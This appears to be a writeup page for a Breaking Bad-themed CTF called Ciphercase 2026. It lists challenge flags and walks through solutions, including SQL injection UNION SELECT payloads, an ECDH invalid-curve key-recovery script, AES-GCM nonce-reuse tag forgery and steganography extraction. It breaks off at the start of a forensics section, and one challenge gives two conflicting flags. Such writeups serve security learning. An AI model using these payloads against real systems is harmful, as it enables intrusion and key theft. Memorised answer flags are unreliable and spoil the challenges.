Home Ciphercase 2026
Ctf-event
Cancel

Ciphercase 2026

A Murder Mystery styled CTF inspired by the world of Breaking Bad

Overview

ChallengeDifficultyPointsCategoryFlag
Breaking Bad BroadcastEasy200cryptoCYS{h313nh3rg_bl3_sky_br0adcast}
Corelight Museum ArchiveHard500Reverse Engineering / Steganography/ CryptographyCYS{restoration_record_0217}
CurveExchangeHard500CryptoCYS{dynamic}
ECHO InterceptMedium300CryptoCYS{d5f69cd87d635c915132}
Encrypt Twice For Thrice The FunHard500CryptographyCYS{dynamic}
Heisenberg's Forgotten LabHard500WebCYS{B17_the_lab_remembers}
Heisenberg's Last CookHard500forensicsCYS{violet_ledger_seventeen_unwound}
Heisenberg's RecipeMedium300Crypto/Reverse EngineeringCYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst}
Heisenberg's VaultHardWeb, CryptographyFLAG{heisenberg_was_not_the_only_one_breaking_bad}
Better Call BackHard500WebCYS{C4LLB4CKS_D0NT_PR0V3_1D3NT1TY}
HOLA AMIGOSHard500Reverse EngineeringCYS{you_godamn_wright!}
Los Pollos Employee VaultHard500Web/SQLiCYS{Dynamic}
Los Stegos HermanosMedium300SteganographyCYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813}
OffRecordMedium300Stego/CryptoCYS{BEST_QUALITY_VACUUM_IS_KEY_42}
Project MirageMedium300WebCYS{Dynamic}
Project To'hajiileeEasy200SteganographyCYS{34_59_20_106_36_52_custom_l5b_3ncrypt10n_m4ster}
ResidualHard500Reverse EngineeringCYS{i_am_the_one_who_knocks}
Reverse Image Trail — Episode 3Easy200OSINT/WebCTF{tw1st3rs_n0t_p0ll0s}
Say My NameMedium300MiscCYS{Y0UR3_G0DD4MN_R1GHT_ABQKQF!}
Signal LostHard500SteganographyCYS{dynamic_flag}
The Archivist's Last SecretHard500SteganographyCYS{1_@m_iN_+h3_3mp1r3_8u$in388}
The Blue SignalEasy200OSINTCYS{11AM_35.1381_-106.5156_00BFFF}
The Broken FormulaMedium300Cryptography / SteganographyCYS{W@1t$_d3@D_dR0P_pR0t0c01_c0mpr0m1$3d_8y_J3$$3}
The EvidenceMedium300Steganography/Forensics, CryptographyCYS{BlU3_G0ld3n_C4sh}
The Safe That Was Never the PointHard500CryptographyCYS{y0uR_$h@M1r_$ecR3ts_aR3_s@f3_w1th_Me_uNd3r_tHr8_0f_d1sB@rM3nt}
The Same Wheel, Twice TurnedHard500CryptographyCYS{tH1$_3cd$A_1S_b3tTeR_tH@n_h3is3n83rGs_b1Ue_Pr0DuCt}
BlindsideMedium300Forensics / Network + Cryptography + SteganographyCYS{s4y_my_n4m3_h315enb3rg}
The Blackwood Manor Case FileMedium300Web/Applied CryptographyCYS{alg_confusion_ashworth_forged_the_seal}
Tio's BellHard500Reverse EngineeringCYS{ekrfcozsmqktfpbmtcyq}
VENONAEasy200Crypto/StegCYS{V3N0N4_CR4CK5_TH3_BLU3_M3TH_C0D3}
Blue NoiseEasy200Forensics / SteganographyCYS{BLU3_H1D35_M0R3_TH4N_C0L0R}
Blue Sky Dead Drop v2Hard500Forensics / Network (DNS exfiltration) + Crypto + ReversingCYS{c4rb0n_c0py_dr0ps_d0nt_c0unt}
Blue Sky TelemetryEasy200Steganography/Reverse EngineeringCTF{h3is3nb3rg_c00k_t3l3m3try_99_1}
BLUEprintHard500Web ExploitationCYS{dynamic_flag}
Breaking MeasuresHard500ForensicsCYS{no_m0r3_ha1f_m3a5ur3s}

Breaking Bad Broadcast

1. Extract the Challenge Files

First, extract the provided Operation_Kingpin.zip archive:

1
unzip Operation_Kingpin.zip

The extracted directory contains:

  • README.txt
  • madrigal_vault.zip
  • burner_phone.txt

2. Read the Challenge Instructions

Read the contents of README.txt:

1
cat README.txt

The README provides the instructions and hints required to proceed with the challenge.


3. Decode the Burner Phone Message

The burner_phone.txt file contains a Base64-encoded message.

1
cat burner_phone.txt

The encoded value can be decoded using a Base64 decoder. The decoded value is:

1
LOS-POLLOS-HERMANOS-99PERCENT

This recovered value is used as the password for the encrypted archive.


4. Extract the Encrypted Madrigal Vault

Use 7z to extract the encrypted archive:

1
7z x madrigal_vault.zip

When prompted for the password, enter:

1
LOS-POLLOS-HERMANOS-99PERCENT

The archive is successfully extracted.


5. Inspect the Extracted Data

Navigate into the extracted directory:

1
2
cd madrigal_vault
ls

Inspect the recovered data-drop files:

1
2
3
4
5
6
cat drop_albuquerque.dat
cat drop_albuquerque.pub
cat drop_elpaso.pub
cat drop_elpaso.pub
cat drop_houston.pub
cat drop_houston.pub

The files contain large hexadecimal values required for the next stage.


6. Run the Solver

Run the provided solver:

1
python3 solver.py

The solver processes the recovered values and applies the required mathematical reconstruction, including the Chinese Remainder Theorem, to recover the hidden flag.


7. Flag

The recovered flag is:

1
CYS{h313nh3rg_bl3_sky_br0adcast}

Conclusion

The challenge was solved through the following sequence:

ZIP Extraction → README Analysis → Base64 Decoding → Password Recovery → Encrypted Archive Extraction → Data-Drop Analysis → Solver Execution → Flag Recovery

Flag

CYS{h313nh3rg_bl3_sky_br0adcast}

Corelight Museum Archive

Corelight Museum Archive

Author: Sagnik

This challenge is a combination of steganography, PNG file analysis, reverse engineering, and cryptography.

We are given a single PNG image which appears to be an old archival photograph. The image contains multiple independent artifacts. We need to recover three clues from the image, find the encrypted payload hidden in the PNG, and then reverse engineer an appended executable to understand how the clues are turned into the encryption key.

The overall solve path is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PNG Image
   |
   +--> Metadata
   |
   +--> LSB steganography
   |
   +--> Visual clue
   |
   +--> Custom PNG chunk
   |
   +--> Appended ELF
             |
             v
      Reverse engineering
             |
             v
       FNV-1a key derivation
             |
             v
          ChaCha20
             |
             v
            FLAG

Firstly, inspect the image metadata

The challenge description says:

“As with every restoration, begin by identifying the creator.”

This strongly suggests checking the image metadata.

We can use:

1
exiftool archive.png

Among the PNG metadata, the Artist field contains:

1
see_hidden_notes

This is not a normal artist name and is clearly intended as a clue.

So our first recovered value is:

1
EXIF = see_hidden_notes

The metadata is therefore one of the inputs to the later key derivation.

Next, inspect the image for hidden data

The image also contains information hidden using LSB steganography.

A tool such as zsteg can be used to inspect the different bit planes:

1
zsteg archive.png

The relevant information is hidden in the least significant bits of the image.

Extracting the embedded message gives:

1
beyond_last_pixel

Therefore our second clue is:

1
LSB = beyond_last_pixel

The important point is that this message is not visible when the PNG is simply opened normally.

Inspect the photograph itself

The challenge description also says that the archive is self-contained and that we should begin by identifying the creator. After checking the metadata and hidden data, we should also inspect the photograph itself.

A visual reference is present in the image:

1
REF-0217

This gives us the third clue:

1
VIS = REF-0217

At this point we have:

1
2
3
EXIF = see_hidden_notes
LSB  = beyond_last_pixel
VIS  = REF-0217

However, we still need to determine how these values are used.

Inspect the PNG structure

A PNG consists of a sequence of chunks, so we should inspect the actual file structure rather than treating it only as an image.

Using:

1
pngcheck -v archive.png

reveals an unusual custom chunk:

1
2
chunk coRe at offset 0x382464, length 29
    unknown private, ancillary, safe-to-copy chunk

The coRe chunk is suspicious because it is not one of the normal PNG chunks.

A PNG chunk has the structure:

1
2
3
4
Length  4 bytes
Type    4 bytes
Data    N bytes
CRC     4 bytes

The reported offset points to the beginning of the length field. Therefore, the actual chunk data begins 8 bytes after the reported offset.

The chunk contains 29 bytes of data, which is the encrypted payload.

We can extract it with:

1
dd if=archive.png of=core.bin bs=1 skip=3679340 count=29

Then inspect the result:

1
xxd core.bin

The output is binary data and does not resemble plaintext.

This tells us that we still need to recover the encryption method and key.

Check for data after the PNG

pngcheck also reports:

1
additional data after IEND chunk

This is another important clue.

A valid PNG normally ends at its IEND chunk. If there is additional data after IEND, something else has been appended to the file.

We can use:

1
binwalk archive.png

This identifies an ELF executable after the PNG.

The ELF begins at:

1
3679381

We can extract it using:

1
dd if=archive.png of=archive_encoder bs=1 skip=3679381

Then verify it:

1
file archive_encoder

It is a Linux x86-64 ELF executable.

Make it executable if desired:

1
chmod +x archive_encoder

The appended executable is effectively the missing restoration software referenced by the challenge.

Reverse engineer the executable

We can load archive_encoder into Ghidra.

We can also start with:

1
strings -a archive_encoder

Some useful strings include:

1
2
3
4
5
6
Corelight Restoration Encoder
[record] assembling capture record from scene-tag, hidden-note, visual-ref
[record] record layout: EXIF:<scene-tag>|LSB:<hidden-note>|VIS:<visual-ref>
[signature] deriving archive signature from capture record
[transform] preparing archive transform state
[protect] applying payload protection

The most important string is:

1
EXIF:<scene-tag>|LSB:<hidden-note>|VIS:<visual-ref>

This tells us exactly how the three clues are combined.

Using the values recovered earlier, the record becomes:

1
EXIF:see_hidden_notes|LSB:beyond_last_pixel|VIS:REF-0217

The order and separators are important.

Identify the hash function

The encoder contains a function that initializes a 32-bit value with:

1
0x811C9DC5

and repeatedly XORs each byte before multiplying by:

1
0x01000193

These are the standard constants for FNV-1a.

The equivalent Python implementation is:

1
2
3
4
5
6
7
8
def fnv1a32(data):
    h = 0x811C9DC5

    for b in data:
        h ^= b
        h = (h * 0x01000193) & 0xFFFFFFFF

    return h

The first hash is therefore:

1
2
3
H1 = FNV-1a32(
    "EXIF:see_hidden_notes|LSB:beyond_last_pixel|VIS:REF-0217"
)

The encoder then hashes three calibration strings:

1
2
3
CHUNK_A
CHUNK_B
CHUNK_C

and chains them with XOR:

1
2
3
4
5
6
7
H1 = FNV1a32(record)

H2 = FNV1a32("CHUNK_A") XOR H1

H3 = FNV1a32("CHUNK_B") XOR H2

H4 = FNV1a32("CHUNK_C") XOR H3

These four 32-bit values form the archive signature.

Expand the signature into the key

The executable then expands the four 32-bit signature values into a 32-byte key.

The relevant logic is equivalent to:

1
2
3
4
5
6
7
8
for (int i = 0; i < 8; i++) {
    uint32_t shift = (i % 4) * 8;

    key[i]      = (sig[0] >> shift) & 0xff;
    key[i + 8]  = (sig[1] >> shift) & 0xff;
    key[i + 16] = (sig[2] >> shift) & 0xff;
    key[i + 24] = (sig[3] >> shift) & 0xff;
}

So each signature value contributes eight bytes to the final key, with its four little-endian bytes repeated twice.

The resulting key can be reproduced from the four signature values rather than guessed.

Identify the encryption algorithm

The executable contains a custom implementation of ChaCha20.

The initialization constants are:

1
2
3
4
0x61707865
0x3320646e
0x79622d32
0x6b206574

These correspond to:

1
expand 32-byte k

which is the standard ChaCha20 constant.

The quarter-round also uses the standard ChaCha20 rotations:

1
2
3
4
16
12
8
7

Therefore the payload is protected using:

1
ChaCha20

The parameters recovered from the executable are:

1
2
3
Cipher:  ChaCha20
Nonce:   000000000000000000000000
Counter: 1

The nonce is 12 zero bytes and the initial counter is 1.

Decrypt the coRe payload

We now have everything needed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
EXIF clue
    +
LSB clue
    +
visual reference
    |
    v
capture record
    |
    v
FNV-1a + chained XOR
    |
    v
32-byte key
    |
    v
ChaCha20
    |
    v
coRe ciphertext
    |
    v
plaintext

The repository also contains a decryption script that reproduces the recovered algorithm.

The important part is:

1
2
3
4
5
6
7
8
9
10
key = derive_key()

cipher = ChaCha20.new(
    key=key,
    nonce=b"\x00" * 12
)

cipher.seek(64)

plaintext = cipher.decrypt(ciphertext)

The seek(64) advances to counter 1 because one ChaCha20 block is 64 bytes.

Running the decryption produces:

1
CYS{restoration_record_0217}

Complete solve chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
                         archive.png
                              |
              +---------------+---------------+
              |               |               |
              v               v               v
           EXIF            RGB LSB        Photograph
              |               |               |
              v               v               v
   see_hidden_notes   beyond_last_pixel     REF-0217
              |               |               |
              +---------------+---------------+
                              |
                              v
       EXIF:see_hidden_notes|LSB:beyond_last_pixel|VIS:REF-0217
                              |
                              v
                           FNV-1a
                              |
                              v
                    CHUNK_A / CHUNK_B / CHUNK_C
                              |
                              v
                       4 x 32-bit values
                              |
                              v
                         32-byte key
                              |
                              v
                          ChaCha20
                              |
                              v
                     coRe encrypted chunk
                              |
                              v
                             FLAG

There is also a second important path through the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
archive.png
    |
    +--> PNG image
    |
    +--> coRe chunk
    |       |
    |       +--> encrypted payload
    |
    +--> IEND
    |
    +--> appended ELF
            |
            +--> key derivation
            +--> cipher implementation

The PNG provides the clues and ciphertext, while the appended executable provides the algorithm required to turn those clues into the decryption key.

Final Flag

1
CYS{restoration_record_0217}

Flag

CYS{restoration_record_0217}

CurveExchange

CurveExchange

Author: htarizzs

This is a cryptography CTF challenge exploiting a classic ECDH Invalid-Curve / Small-Subgroup Attack combined with the Chinese Remainder Theorem (CRT) to fully recover the server’s private scalar.


Understanding the Setup

Connecting to the service gives us an interactive menu:

1
2
3
4
5
6
7
8
9
10
╔══════════════════════════════════════════╗
║       CURVEEXCHANGE KEY AGREEMENT        ║
╚══════════════════════════════════════════╝

  [1]  View curve parameters
  [2]  Request server public key
  [3]  Submit client public point
  [4]  Derive shared secret (key confirmation)
  [5]  Get encrypted flag
  [6]  Exit

Selecting option [1] reveals the curve parameters for a custom 72-bit elliptic curve over a prime field:

1
2
3
4
5
6
p       = 3541774862152233910451
a       = 3541774862152233910448   (= -3 mod p)
b       = 5
G.x     = 948593498517026279058
G.y     = 1065975613846311390974
order   = 3541774862209346234424

And option [5] gives us the encrypted flag (AES-256-GCM), along with the hint that the key is derived as:

1
2
3
4
5
6
key = HKDF-SHA256(
    ikm   = server_private_scalar (big-endian, 17 bytes),
    salt  = b"ecdh-challenge-v1",
    info  = b"flag-encryption-key",
    len   = 32
)

So to decrypt the flag, we need to recover the server’s private scalar d.


Reading the Source Code

The challenge provides server.py. The critical insight is buried in the comments of _recv_client_point:

1
2
3
4
5
# NOTE: We intentionally do NOT validate that the point lies on the
# curve  y^2 = x^3 + ax + b  (mod p).  This preserves compatibility
# with clients that may transmit points using alternative parameter
# sets or compressed representations.
self.client_point = (x, y)

The server only checks that the coordinates are in range [0, p) — it never verifies that the submitted point actually satisfies y^2 = x^3 + ax + b (mod p).

Meanwhile, the point arithmetic in _point_add and _scalar_mult uses only the coefficient a (not b) in its formulas:

1
2
3
4
5
6
# Point doubling:
lam = (3 * x1 * x1 + a) * pow(2 * y1, -1, p) % p
# Point addition:
lam = (y2 - y1) * pow(x2 - x1, -1, p) % p
x3 = (lam * lam - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p

This is the fundamental property of the Short Weierstrass addition law — b only determines which points lie on the curve; it plays no role in the actual arithmetic. This is the root cause of the vulnerability.


The Vulnerability: Invalid-Curve Attack

Since the server:

  1. Does not validate that submitted points lie on the intended curve, and
  2. Computes S = d x ClientPoint using formulas that only care about a and p,

…we can submit a point P that lies on a different curve y^2 = x^3 + ax + b' (same a, same p, but a different constant b'). The server will happily compute S = d x P using the same formulas, producing a valid result on the invalid curve E'.

Why Does This Help?

If we pick b' such that the curve E' has an order n' with small prime factors, we can find points of small order on E'. Suppose P has order r on E'. Then:

1
d x P = (d mod r) x P

The server’s computation of d x P only reveals d mod r. But crucially, the server provides a key confirmation oracle: it encrypts the known plaintext ECDH_KEY_CONFIRMATION_OK with a key derived from the shared secret S. We can brute-force all r possible values of k in [1, r), compute k x P, derive the trial key, and attempt decryption. When decryption succeeds, we learn d ≡ k (mod r).


The Attack: Step by Step

Step 1 — Find Invalid Curves with Small-Order Points

We search over different values of b' and compute the group order of y^2 = x^3 + ax + b' over F_p using Baby-step Giant-step (BSGS). For each candidate order n', we factor it and look for small prime factors r (roughly r < 5000).

Some useful invalid curves discovered:

b’Small prime r
63, 5, 11
741, 487
10163, 661, 2029
11619
1229, 191
1443

Step 2 — Find a Point of Order r

For each small prime r dividing n', we pick a random point P_rand on the invalid curve and compute:

1
Pt = scalar_mult(n_prime // r, P_rand, a, p)

This kills off all other prime-order components, leaving a point Pt of order exactly r.

Step 3 — Oracle Query

We submit Pt to the server (option [3]) and immediately request key confirmation (option [4]). The server responds with:

1
2
3
nonce      = <random 12 bytes>
ciphertext = <AES-GCM encrypted "ECDH_KEY_CONFIRMATION_OK">
tag        = <16-byte auth tag>

Internally, the server computed S = d x Pt = (d mod r) x Pt.

Step 4 — Brute-Force d mod r

We try every k from 1 to r - 1:

1
2
3
4
5
6
7
8
9
10
11
for k in range(1, r):
    kP = scalar_mult(k, Pt, a, p)
    trial_key = hkdf_sha256(
        kP[0].to_bytes(...) + kP[1].to_bytes(...),
        salt=b"ecdh-session-v1",
        info=b"aes-key-confirmation"
    )
    pt = aes_gcm_decrypt(trial_key, conf_nonce, conf_ct, conf_tag)
    if pt == b"ECDH_KEY_CONFIRMATION_OK":
        d_mod_r = k
        break

Since r is small (< 5000), this brute-force is trivial.

Step 5 — Chinese Remainder Theorem

After collecting enough congruences d ≡ ki (mod ri) across multiple invalid curves, we apply the Chinese Remainder Theorem. Once the product of all ri exceeds d, the CRT gives us the unique value of d:

1
2
3
4
5
6
7
d ≡ k1  (mod r1)
d ≡ k2  (mod r2)
    ...
d ≡ k12 (mod r12)
─────────────────────────────────────────────────────────────────
Product = 3 x 5 x 11 x 29 x 41 x 43 x 163 x 191 x 487 x 619 x 661 x 2029 ≈ 2^76
d ≈ 2^68  -->  Product > d  [OK]
1
2
3
4
5
6
M = product_of_all_r
d_recovered = 0
for (a_i, m_i) in remainders:
    Mi = M // m_i
    yi = pow(Mi, -1, m_i)          # modular inverse
    d_recovered = (d_recovered + a_i * Mi * yi) % M

Step 6 — Decrypt the Flag

With d in hand, we derive the flag key and decrypt:

1
2
3
4
5
6
d_bytes = d_recovered.to_bytes(17, 'big')
flag_key = hkdf_sha256(d_bytes, 32,
                       salt=b"ecdh-challenge-v1",
                       info=b"flag-encryption-key")
flag = aes_gcm_decrypt(flag_key, flag_nonce, flag_ct, flag_tag)
print(flag.decode())

Running the Solver

1
python3 solve.py <HOST> 9999

Sample output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[*] Connecting to 127.0.0.1:9999...
[*] Retrieving curve parameters...
    p     = 3541774862152233910451  (72 bits)
    a     = 3541774862152233910448
    b     = 5
    order = 3541774862209346234424
[*] Retrieving encrypted flag...
[*] Searching for invalid-curve points with small-order subgroups...
    [OK] r=    3  d mod 3  = ?   product=2^2
    [OK] r=    5  d mod 5  = ?   product=2^4
    [OK] r=   11  d mod 11 = ?   product=2^6
    [OK] r=   29  d mod 29 = ?   product=2^10
    ...
    [OK] r= 2029  d mod 2029 = ? product=2^76

[*] Collected 12 congruences, product ~= 2^76
[*] Applying Chinese Remainder Theorem...
    Recovered d = 361623542354585744737
[*] Deriving flag encryption key...
[*] Decrypting flag...

==================================================
  FLAG: CYS{dynamic}
==================================================

Why This Works (TL;DR)

PropertyDetail
Missing validationServer accepts any (x, y) without checking y^2 = x^3 + ax + b
b-free arithmeticShort Weierstrass addition formulas don’t use b, so they work on any curve with the same a and p
Small-subgroup oracleA point of order r leaks d mod r via at most r key-confirmation queries
CRT reconstructionEnough small-modulus residues uniquely determine d when their product exceeds d

The attack is the classic ECDH Invalid-Curve Attack described by Antipa et al. (2003) and is the reason standards like NIST SP 800-56A mandate strict public-key validation before performing any scalar multiplication.

Flag

CYS{dynamic}

ECHO Intercept

ECHO Intercept

Author: Divya Dharshini S G

This is a cryptography-based CTF challenge involving AES-128-GCM nonce reuse.

We are provided with approximately 6000 encrypted packets. Each packet contains a packet ID, nonce, ciphertext, and authentication tag.

The important vulnerability is that exactly one 12-byte nonce is reused by two packets. One of these packets contains a known heartbeat message:

1
USR PING_OK_1234

The objective is to use the nonce reuse vulnerability to forge a valid authenticated packet containing:

1
ADM OPEN_VAULT01

which causes the server to return the flag.

Finding the Reused Nonce

Since the nonce is 12 bytes, we can first analyze the traffic and count the frequency of each nonce rather than attempting to decrypt all 6000 packets.

The challenge guarantees that there are 5999 unique nonces, meaning exactly one nonce appears twice.

The two packets using the same nonce are separated in the shuffled log, so they may not be adjacent.

Once the duplicated nonce is identified, we have our two ciphertexts encrypted using the same AES-GCM nonce.

Recovering the Keystream

AES-GCM uses counter mode for encryption. Reusing a nonce causes the same CTR keystream to be used for both packets.

For two ciphertexts:

1
2
3
C1 = P1 XOR S

C2 = P2 XOR S

where S is the shared keystream.

One of the colliding packets is the known heartbeat:

1
USR PING_OK_1234

It is exactly 16 bytes long.

Therefore, we can recover the keystream using:

1
S = C_heartbeat XOR P_heartbeat

We can then XOR this keystream with the ciphertext of the second packet to recover its plaintext.

Recovering the GCM Authentication Key

Recovering the CTR keystream is not enough because AES-GCM also authenticates the ciphertext.

The GCM authentication subkey is:

1
H = AES_K(0^128)

Since both packets use the same nonce and associated data, their authentication tags use the same AES-generated authentication mask.

By XORing the authentication equations for the two packets, the common authentication mask cancels out.

For the fixed one-block packet structure used in this challenge, the resulting equation contains .

Because squaring is a bijection in GF(2^128), we can recover H using the field square-root/Frobenius operation.

The required finite-field operations are implemented in gf128.py.

Recovering the Authentication Mask

Once H is recovered, we can evaluate GHASH for one of the known colliding packets.

Using the corresponding authentication tag, we can then recover the authentication mask associated with the reused nonce.

This gives us the information required to generate a valid GCM authentication tag for a new ciphertext.

Forging the Vault Packet

The target plaintext is:

1
ADM OPEN_VAULT01

We use the recovered CTR keystream to encrypt the target plaintext.

The recovered GHASH authentication information is then used to calculate a valid authentication tag for the forged ciphertext.

The resulting packet is submitted to:

1
POST /vault

The server verifies the authentication tag before decrypting the packet.

If the packet is valid, the server decrypts it and checks that:

1
2
role = ADM 
body = OPEN_VAULT01

When both checks succeed, the server returns the flag.

Important Observation

This challenge cannot be solved using XOR alone.

Nonce reuse allows us to recover the CTR keystream and therefore decrypt or encrypt messages, but a forged packet must still contain a valid GCM authentication tag.

Therefore, the complete solution requires understanding both:

  • AES-GCM’s CTR encryption
  • GCM’s GHASH authentication

The complete attack chain is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
6000 encrypted packets
        ↓
Find repeated nonce
        ↓
Identify known heartbeat packet
        ↓
Recover CTR keystream
        ↓
Recover GCM authentication subkey H
        ↓
Recover authentication mask
        ↓
Encrypt ADM OPEN_VAULT01
        ↓
Generate valid GCM tag
        ↓
POST /vault
        ↓
Flag

Flag

1
CYS{d5f69cd87d635c915132}

Flag

CYS{d5f69cd87d635c915132}

Encrypt Twice For Thrice The Fun

Encrypt Twice For Thrice The Fun

Author: Utkarsh Raj

Challenge Description

Players are given a small cryptographic service with two available functions. The service does not reveal the algorithm or key directly.

Function 1 accepts a plaintext and a user-supplied key, then returns a ciphertext.

Function 2 accepts a user-supplied key and returns a ciphertext derived from a hidden flag.

The player has only two total function queries, so the outputs must be analyzed carefully.

There are no dedicated cryptographic clue files. The challenge is intentionally blind, and the solution depends on studying the behavior of the service and researching the relevant cryptographic properties.


1. Observe Function 2 First

The intended order is Function 2 → Function 1.

Function 2 accepts:

1
Key

and returns:

1
Ciphertext

The operation is:

1
2
3
4
5
6
7
8
9
10
FLAG
  |
  v
 3DES
  |
  v
XOR with hidden IV
  |
  v
Ciphertext

Therefore:

1
C2 = E(FLAG, K) XOR IV

The same hidden IV is used by Function 1.

The challenge uses the fixed weak key:

1
E0E0E0E0F1F1F1F1

Use this key for Function 2 and record the resulting ciphertext.


2. Feed Function 2 Into Function 1

Now use the Function 2 ciphertext itself as the plaintext input to Function 1.

Function 1 accepts:

1
2
Plaintext
Key

and performs:

1
2
3
4
5
6
7
8
9
Plaintext
    XOR
   hidden IV
    |
    v
  3DES
    |
    v
Ciphertext

Therefore:

1
C1 = E(P XOR IV, K)

Set:

1
P = C2

where C2 is the ciphertext obtained from Function 2.

Then:

1
C1 = E(C2 XOR IV, K)

From Function 2:

1
C2 = E(FLAG, K) XOR IV

Therefore:

1
C2 XOR IV = E(FLAG, K)

So Function 1 produces:

1
C1 = E(E(FLAG, K), K)

This is the key relationship between the two functions.


3. Analyze the Repeated-Key Construction

The service uses EDE-style 3DES:

1
E_K(D_K(E_K(P)))

with:

1
K1 = K2 = K3 = K

The middle decryption cancels the first encryption:

1
D_K(E_K(P)) = P

so the construction reduces to:

1
E_K(P)

In other words, the repeated-key 3DES construction behaves as a single DES encryption with the supplied key.


4. Investigate the DES Weak Key

The challenge uses the fixed weak DES key:

1
E0E0E0E0F1F1F1F1

The relevant property is that encryption with this weak key is self-inverse:

1
E_K(E_K(P)) = P

Applying that property to the result of Function 1 gives:

1
C1 = E(E(FLAG, K), K)

and therefore:

1
C1 = FLAG

The Function 1 ciphertext is consequently the recovered flag.


5. Complete Recovery Process

The intended two-query sequence is:

Step 1 — Function 2

Use:

1
2
Key:
E0E0E0E0F1F1F1F1

Record:

1
C2 = Function 2 ciphertext

Step 2 — Function 1

Use the Function 2 ciphertext as the plaintext:

1
2
Plaintext:
<C2>

and use:

1
2
Key:
E0E0E0E0F1F1F1F1

The resulting Function 1 ciphertext is:

1
C1 = E(C2 XOR IV, K)

Since:

1
C2 XOR IV = E(FLAG, K)

we get:

1
C1 = E(E(FLAG, K), K)

Using the weak-key property:

1
C1 = FLAG

6. Offline Recovery

The important part is that the player does not need to recover the hidden IV separately.

The two functions are deliberately chained together:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Function 2
    |
    v
E(FLAG, K) XOR IV
    |
    v
Function 1
    |
    v
E((E(FLAG, K) XOR IV) XOR IV, K)
    |
    v
E(E(FLAG, K), K)
    |
    v
FLAG

The hidden value cancels naturally when the Function 2 ciphertext is passed into Function 1.


7. Final Flag

The recovered Function 1 ciphertext is the final CTF flag:

1
CYS{th3_l@st_b@tCh_w@s_d1fF3r3nT_b@tch!}

Submit it through the challenge website.


8. Summary

StageAction
Function 2Submit E0E0E0E0F1F1F1F1 and obtain C2
Function 1Use C2 as the plaintext with the same key
Analyze constructionRecognize repeated-key 3DES as single DES
Identify propertyRecognize the weak key’s self-inverse behavior
Recover flagFunction 1 ciphertext becomes the flag
SubmitSubmit the recovered flag through the website

Final Flag

1
CYS{dynamic_flag}

Flag

CYS{dynamic}

Heisenberg's Forgotten Lab

Heisenberg’s Forgotten Lab

Challenge Description

An abandoned digital laboratory has resurfaced. Most systems were supposedly shut down years ago, but some archived laboratory records remain accessible.

The objective is to investigate the forgotten laboratory system, discover the hidden information, obtain administrator access, and recover the final flag.

Exploit Path

The intended solution follows this chain:

  1. Discover the Chemical Inventory.
  2. Identify the SQL Injection vulnerability.
  3. Enumerate the SQLite database.
  4. Discover the hidden batch_records table.
  5. Find the first successful Blue Crystal batch: B-17.
  6. Discover the hidden laboratory note.
  7. Use the note to determine that B-17 became the administrator password.
  8. Authenticate as admin.
  9. Access the legacy terminal.
  10. Recover the final flag.

Vulnerability — SQL Injection

The Chemical Inventory search functionality is vulnerable to SQL Injection because user-controlled input is incorporated into the SQL query without sufficient separation between data and SQL syntax.

This allows a participant to alter the intended query and use UNION SELECT statements to retrieve information from other tables within the vulnerable SQLite database.

The vulnerable query is:

1
2
query = f"SELECT * FROM chemicals WHERE name LIKE '%{search}%'"
cursor.execute(query)

Database Enumeration

The inventory search functionality can be used to enumerate the SQLite database schema.

The discovered tables include:

  • chemicals
  • batch_records
  • lab_notes

Query:

1
' UNION SELECT 1,name,sql,'x' FROM sqlite_master WHERE type='table' --

The database-enumeration result is shown in images.md as Image 01 and Image 02.

Discovering the Batch Records

The batch_records table contains archived laboratory production records.

The relevant record is:

  • Batch Code: B-17
  • Compound: Blue Crystal
  • Note: First successful archived batch. Moved to the old terminal.

This establishes B-17 as an important value for the next stage.

Query:

1
' UNION SELECT id,batch_code,compound,notes FROM batch_records --

The retrieved batch record is shown in images.md as Image 03.

Discovering the Password Clue

The lab_notes table contains a terminal memo.

The important message states that the old terminal still accepts the administrator account and that, after the shutdown, the password was changed to the batch code of the first successful Blue Crystal run.

The previously discovered batch record identifies that batch as:

1
B-17

Query:

1
' UNION SELECT id,title,content,'x' FROM lab_notes --

The retrieved terminal memo is shown in images.md as Image 04.

Administrator Authentication

Using the discovered credentials, authenticate through the laboratory login page.

1
2
Username: admin
Password: B-17

After successful authentication, the participant reaches the Admin Dashboard.

The dashboard contains an entry point to the legacy terminal. The dashboard screenshot is shown in images.md as Image 05.

Legacy Terminal

The legacy terminal is protected by the Flask session and cannot be accessed after logout.

Access the terminal from the authenticated Admin Dashboard to retrieve the recovery message and final flag.

Final Flag

1
CYS{B17_the_lab_remembers}

The recovered terminal message and final flag are shown in images.md as Image 06.

Vulnerability Mitigation

The SQL Injection vulnerability can be prevented by using parameterized SQL queries instead of concatenating user input directly into the SQL statement.

Unsafe approach:

1
2
query = f"SELECT * FROM chemicals WHERE name LIKE '%{search}%'"
cursor.execute(query)

Safer approach:

1
2
3
4
cursor.execute(
    "SELECT * FROM chemicals WHERE name LIKE ?",
    (f"%{search}%",)
)

With parameterized queries, the search value is treated as data rather than executable SQL syntax. This prevents the user from altering the structure of the SQL statement.

Challenge Design

  • Theme: Breaking Bad / Heisenberg
  • Core Vulnerability: SQL Injection
  • Database: SQLite
  • Authentication: Flask session-based authentication
  • Difficulty: Easy / Medium

Screenshots

The following screenshots are embedded directly in this Markdown file so the writeup can be submitted as a single document.

Image 01

Image 01

Image 02

Image 02

Image 03

Image 03

Image 04

Image 04

Image 05

Image 05

Image 06

Image 06

Flag

CYS{B17_the_lab_remembers}

Heisenberg's Last Cook

Heisenberg’s Last Cook

Author:

This is a forensic/cryptographic CTF challenge based on reconstructing an accepted session from memory and network evidence, recovering committed integer values, simplifying the verifier’s BN254 proof algebra, and using the recovered entry to unlock the final encrypted artifact.

The archive contains:

1
2
3
4
5
service/heisenberg
evidence/memory.raw
evidence/cook.pcapng
evidence/superlab.E01
evidence/final.enc

The README specifies the flag format:

1
CYS{...}

For the Recovered Accepted Session:

